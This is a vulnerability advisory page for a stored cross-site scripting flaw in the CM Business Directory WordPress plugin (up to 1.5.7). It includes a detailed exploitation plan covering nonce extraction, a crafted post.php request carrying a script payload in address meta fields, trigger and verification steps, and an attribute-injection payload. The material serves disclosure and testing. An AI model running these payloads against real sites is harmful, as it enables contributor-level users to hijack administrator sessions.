CM Business Directory <= 1.5.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Business Address Meta Fields
Description
The CM Business Directory – Optimise and showcase local business plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Business Address Meta Fields in all versions up to, and including, 1.5.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Because the malicious payload is stored in post meta rather than post_content, WordPress's unfiltered_html capability restriction does not apply, meaning contributors who lack that capability can still inject executable HTML via the address meta fields such as cmbd_address, cmbd_cityTown, cmbd_stateCounty, cmbd_postalcode, cmbd_region, and cmbd_country.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.5.7What Changed in the Fix
Changes introduced in v1.5.8
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-8892 ## 1. Vulnerability Summary The **CM Business Directory** plugin (<= 1.5.7) is vulnerable to **Stored Cross-Site Scripting (XSS)** via several business address meta fields. While WordPress core filters `post_content` based on the `unfiltered_html` capabil…
Show full research plan
Exploitation Research Plan: CVE-2026-8892
1. Vulnerability Summary
The CM Business Directory plugin (<= 1.5.7) is vulnerable to Stored Cross-Site Scripting (XSS) via several business address meta fields. While WordPress core filters post_content based on the unfiltered_html capability, it does not automatically sanitize data saved via update_post_meta.
In this plugin, the CMBusinessDirectoryBackend::saveMetabox function (hooked to save_post) fails to sanitize input for fields such as cmbd_address, cmbd_cityTown, and cmbd_country. Subsequently, the frontend templates (e.g., business-page-view.php) output these values using get_post_meta without proper escaping (e.g., esc_html or esc_attr). This allows a Contributor-level user to inject malicious scripts that execute in the context of any user (including Administrators) viewing the business page.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/post.php(viasave_posthook). - Vulnerable Parameters:
cmbd_address,cmbd_cityTown,cmbd_stateCounty,cmbd_postalcode,cmbd_region,cmbd_country. - Authentication Level: Authenticated (Contributor or higher).
- Preconditions: The "CM Business Directory" plugin must be active. A Contributor must have permission to create/edit a
cm-businesspost type.
3. Code Flow
- Entry Point: An authenticated user submits a POST request to
wp-admin/post.phpto save acm-businesspost. - Hook Execution: WordPress triggers the
save_postaction. - Vulnerable Method:
CMBusinessDirectoryBackend::saveMetabox(inbackend/cm-business-directory-backend.php) is called. - Data Storage (Sink): Inside
saveMetabox, the code retrieves raw input from$_POSTand callsupdate_post_meta($post_id, 'cmbd_address', $_POST['cmbd_address'])(and similar for other fields). No sanitization functions likesanitize_text_field()are applied. - Rendering: When a user views the single business page,
CMBusinessDirectoryBusinessPageView::content()(infrontend/templates/cm_default/business-page-view.php) is executed. - XSS Trigger: The template calls
get_post_metaand echoes the value directly into the HTML withoutesc_html()oresc_attr().
4. Nonce Acquisition Strategy
Since this exploit requires a Contributor to save a post, we must obtain the standard WordPress post-editing nonces and any plugin-specific metabox nonces.
- Identify the Post Type: The post type is defined by
CMBusinessDirectoryShared::POST_TYPE(verbatim frombackend/cm-business-directory-backend.php). Based on common patterns in this plugin, this is likelycm-business. - Navigate to Editor: Use
browser_navigateto go towp-admin/post-new.php?post_type=cm-business. - Extract Nonces:
- The primary WordPress nonce for saving posts is usually in an input named
_wpnonce. - Check for a custom metabox nonce. In
backend/cm-business-directory-backend.php, the methodaddMetaBoxis used. We will search the DOM for any hidden input fields containing "nonce".
- The primary WordPress nonce for saving posts is usually in an input named
- JavaScript Extraction:
// Run via browser_eval { post_id: document.getElementById('post_ID')?.value, wpnonce: document.getElementById('_wpnonce')?.value, metabox_nonce: document.querySelector('input[name*="cmbd_address_nonce"]')?.value // (inferred name) }
5. Exploitation Strategy
Step 1: Preparation
- Login as a Contributor.
- Create a new
cm-businesspost to get a validpost_IDand_wpnonce.
Step 2: Injection (HTTP POST)
Submit the payload to the address fields. We will use cmbd_address as the primary vector.
- Tool:
http_request - URL:
https://<target>/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:<ID_FROM_PREP>_wpnonce:<NONCE_FROM_PREP>post_type:cm-businesspost_title:XSS Business Testcmbd_address:123 Malware Lane <script>alert(document.domain)</script>cmbd_cityTown:Londoncmbd_country:UK
Step 3: Trigger
The Contributor (or an Admin) views the newly created post. If the post is in "draft" status, use the preview link: https://<target>/?post_type=cm-business&p=<ID>&preview=true.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin Config: Ensure the "CM Business Directory" plugin is active.
- Shortcode: The plugin renders via a template, but ensure a page exists with
[cmbd_business]if testing the directory index. For the single page, WordPress handles it viasingle-cm-business.php(or similar template logic in the plugin).
7. Expected Results
- The
cmbd_addressvalue in the database will contain the raw<script>tag. - Upon viewing the business page, the browser will execute the script, showing an alert box with the domain name.
- The HTML source will look like:
<div class="cmbd-address">123 Malware Lane <script>alert(document.domain)</script></div>.
8. Verification Steps
After the HTTP request, verify the storage using WP-CLI:
# Check the meta value directly in the database
wp post meta get <POST_ID> cmbd_address
Confirm the output matches the payload exactly, proving no sanitization occurred during update_post_meta.
9. Alternative Approaches
If cmbd_address is sanitized, test the following fields which often share the same vulnerable code path:
cmbd_cityTowncmbd_stateCountycmbd_postalcodecmbd_regioncmbd_country
Alternative Payload (Attribute Injection):
If the data is placed inside an attribute instead of a tag body:" onmouseover="alert(1)
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.